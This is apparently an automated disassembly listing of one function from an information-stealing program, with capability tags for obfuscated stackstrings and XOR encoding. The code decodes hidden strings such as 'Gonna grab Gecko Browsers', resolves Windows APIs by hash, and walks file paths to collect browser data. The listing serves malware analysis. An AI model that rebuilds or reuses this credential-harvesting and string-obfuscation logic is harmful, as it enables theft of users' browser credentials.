Function at 0x4147d5
Capabilities:
Contain obfuscated stackstrings
Encode data using xor

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x2ec
push ebx
push esi
mov esi, ecx
mov dword [ebp - 0x20], 0x5454557d
push edi
mov dword [ebp - 0x1c], 0x485d1a5b
xor ecx, ecx
mov dword [ebp - 0x18], 0x7d1a585b
mov dword [ebp - 0x14], 0x5551595f
mov dword [ebp - 0x10], 0x4d554878
mov dword [ebp - 0xc], 0x49485f49
mov byte [ebp - 8], 0x30
mov al, byte [ebp + ecx - 0x20]
xor al, 0x3a
mov byte [ebp + ecx - 0xbc], al
inc ecx
cmp ecx, 0x19
jl 0x414813
lea eax, [ebp - 0xbc]
mov byte [ebp - 0xa3], 0
push eax
call fcn.004125f4
cmp byte [esi + 2], 0
pop ecx
jne 0x414861
cmp byte [esi + 1], 0
jne 0x414861
cmp byte [esi + 4], 0
jne 0x414861
cmp byte [esi + 6], 0
jne 0x414861
cmp byte [esi + 3], 0
jne 0x414861
cmp byte [esi], 0
je 0x414abb
xor ecx, ecx
inc ecx
call fcn.00418c23
mov ebx, eax
test ebx, ebx
je 0x4149a3
mov dword [ebp - 0x40], 0x90103e5
xor ecx, ecx
mov dword [ebp - 0x3c], 0x1000be0d
mov dword [ebp - 0x38], 0x311150d
mov dword [ebp - 0x34], 0x15be1110
mov dword [ebp - 0x30], 0xbe031003
mov dword [ebp - 0x2c], 0x10120310
mov dword [ebp - 0x28], 0x3140307
mov word [ebp - 0x24], 0xa802
mov al, byte [ebp + ecx - 0x40]
add al, 0x62
mov byte [ebp + ecx - 0x74], al
inc ecx
cmp ecx, 0x1e
jl 0x4148ac
lea eax, [ebp - 0x74]
mov byte [ebp - 0x56], 0
push eax
call fcn.004125f4
mov dword [esp], 0x1000
call fcn.0040570b
mov edi, eax
pop ecx
test edi, edi
je 0x414997
push 0x7c
pop eax
mov word [ebp - 4], ax
xor eax, eax
and dword [ebp - 0xa0], eax
mov word [ebp - 2], ax
lea eax, [ebp - 0xa0]
push eax
lea eax, [ebp - 4]
push eax
push ebx
jmp 0x414980
push eax
lea eax, [ebp - 0x2e8]
xor ecx, ecx
push eax
mov edx, 0xf89245cb
inc ecx
call fcn.00412ca7
call eax
lea eax, [ebp - 0xa0]
push eax
lea eax, [ebp - 4]
push eax
push 0
call fcn.004057dc
add esp, 0xc
xor ecx, ecx
mov edx, 0x5060ff33
inc ecx
push 0x800
push edi
push eax
call fcn.00412ca7
call eax
test eax, eax
je 0x414973
push edi
call fcn.0040581e
pop ecx
movzx ecx, word [edi + eax*2 - 2]
cmp ecx, 0x5c
je 0x41495d
cmp ecx, 0x2f
jne 0x414964
xor ecx, ecx
mov word [edi + eax*2 - 2], cx
push edi
lea edx, [ebp - 0x2e8]
mov ecx, esi
call fcn.00414ac0
pop ecx
lea eax, [ebp - 0xa0]
push eax
lea eax, [ebp - 4]
push eax
push 0
call fcn.004057dc
add esp, 0xc
test eax, eax
jne 0x414901
push edi
call fcn.004056f0
pop ecx
push ebx
call fcn.004056f0
pop ecx
jmp 0x414abb
xor edx, edx
mov dword [ebp - 0x74], 0x2009dbdb
mov dword [ebp - 0x70], 0x190e1221
mov ecx, edx
mov dword [ebp - 0x6c], 0x14091f12
mov dword [ebp - 0x68], 0x1c181012
mov dword [ebp - 0x64], 0x241c1f0f
mov dword [ebp - 0x60], 0x201f1220
mov dword [ebp - 0x5c], 0x1d1d10db
mov al, byte [ebp + ecx - 0x74]
add al, 0x53
mov byte [ebp + ecx - 0x40], al
inc ecx
cmp ecx, 0x1c
jl 0x4149d8
mov byte [ebp - 0x24], dl
mov ecx, edx
mov dword [ebp - 0x54], 0x6b75684f
mov dword [ebp - 0x50], 0x6c4e6c73
mov dword [ebp - 0x4c], 0x4976726a
mov dword [ebp - 0x48], 0x7a7e7679
mov word [ebp - 0x44], 0x796c
mov byte [ebp - 0x42], 0x7a
mov al, byte [ebp + ecx - 0x54]
sub al, 7
mov byte [ebp + ecx - 0x1c], al
inc ecx
cmp ecx, 0x13
jl 0x414a13
mov byte [ebp - 9], dl
mov ecx, edx
mov dword [ebp - 0x9c], 0x7e7b7358
mov dword [ebp - 0x98], 0x86327677
mov dword [ebp - 0x94], 0x77843281
mov dword [ebp - 0x90], 0x777b8486
mov dword [ebp - 0x8c], 0x79327788
mov dword [ebp - 0x88], 0x817d7577
mov dword [ebp - 0x84], 0x81847432
mov dword [ebp - 0x80], 0x84778589
mov dword [ebp - 0x7c], 0x73823285
mov dword [ebp - 0x78], 0x1c857a86
mov al, byte [ebp + ecx - 0x9c]
sub al, 0x12
mov byte [ebp + ecx - 0xe8], al
inc ecx
cmp ecx, 0x28
jl 0x414a83
lea eax, [ebp - 0xe8]
mov byte [ebp - 0xc0], dl
push eax
lea eax, [ebp - 0x1c]
push eax
lea eax, [ebp - 0x40]
push 0x126
push eax
call fcn.00412711
add esp, 0x10
pop edi
pop esi
pop ebx
leave
ret